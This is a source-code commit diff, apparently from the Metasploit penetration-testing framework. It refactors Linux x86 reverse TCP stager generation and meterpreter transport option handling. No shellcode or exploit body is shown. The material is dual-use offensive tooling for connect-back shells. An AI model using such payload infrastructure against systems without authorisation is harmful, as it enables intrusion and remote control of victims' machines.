Tweaking of transport behaviour, removal of patch

Author: OJ

lib/msf/core/payload/linux/reverse_tcp.rb

@@ -2,6 +2,7 @@
 
 require 'msf/core'
 require 'msf/core/transport_config'
+require 'msf/core/payload/linux'
 
 module Msf
 
@@ -51,15 +52,16 @@ def transport_config(opts={})
   #
   def generate_reverse_tcp(opts={})
     asm = asm_reverse_tcp(opts)
-    Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
+    buf = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
+    apply_prepends(buf)
   end
 
   #
   # Determine the maximum amount of space required for the features requested
   #
   def required_space
     # Start with our cached default generated size
-    space = cached_size
+    space = 300
 
     # Reliability adds 10 bytes for recv error checks
     space += 10
@@ -72,11 +74,10 @@ def required_space
   # Generate an assembly stub with the configured feature set and options.
   #
   # @option opts [Fixnum] :port The port to connect to
-  # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
+  # @option opts [String] :host The host IP to connect to
   # @option opts [Bool] :reliable Whether or not to enable error handling code
   #
   def asm_reverse_tcp(opts={})
-
     # TODO: reliability is coming
     #retry_count  = [opts[:retry_count].to_i, 1].max
     #reliable     = opts[:reliable]
@@ -129,6 +130,3 @@ def asm_reverse_tcp(opts={})
 
 end
 
-
-
-

lib/rex/post/meterpreter/client_core.rb

@@ -628,7 +628,7 @@ def transport_prepare_request(method, opts={})
     # do more magic work for http(s) payloads
     unless opts[:transport].ends_with?('tcp')
       sum = uri_checksum_lookup(:connect)
-      url << generate_uri_uuid(sum, uuid) + '/'
+      url << generate_uri_uuid(sum, opts[:uuid]) + '/'
 
       # TODO: randomise if not specified?
       opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'

lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

@@ -545,6 +545,7 @@ def cmd_transport(*args)
     end
 
     opts = {
+      :uuid          => client.payload_uuid,
       :transport     => nil,
       :lhost         => nil,
       :lport         => nil,
@@ -562,6 +563,7 @@ def cmd_transport(*args)
       :verbose       => false
     }
 
+    valid = true
     @@transport_opts.parse(args) do |opt, idx, val|
       case opt
       when '-c'
@@ -598,9 +600,16 @@ def cmd_transport(*args)
           return
         end
         opts[:transport] = val
+      else
+        valid = false
       end
     end
 
+    unless valid
+      cmd_transport_help
+      return
+    end
+
     case command
     when 'list'
       result = client.core.transport_list

modules/payloads/stagers/linux/x86/reverse_tcp.rb

@@ -19,7 +19,7 @@ def initialize(info = {})
     super(merge_info(info,
       'Name'        => 'Reverse TCP Stager',
       'Description' => 'Connect back to the attacker',
-      'Author'      => [ 'skape', 'egypt', ],
+      'Author'      => [ 'skape', 'egypt' ],
       'License'     => MSF_LICENSE,
       'Platform'    => 'linux',
       'Arch'        => ARCH_X86,

modules/payloads/stages/linux/x86/meterpreter.rb

@@ -8,9 +8,6 @@
 require 'msf/base/sessions/meterpreter_options'
 require 'rex/elfparsey'
 
-# Provides methods to patch options into the metsrv stager.
-require 'rex/payloads/meterpreter/patch'
-
 module Metasploit3
   include Msf::Sessions::MeterpreterOptions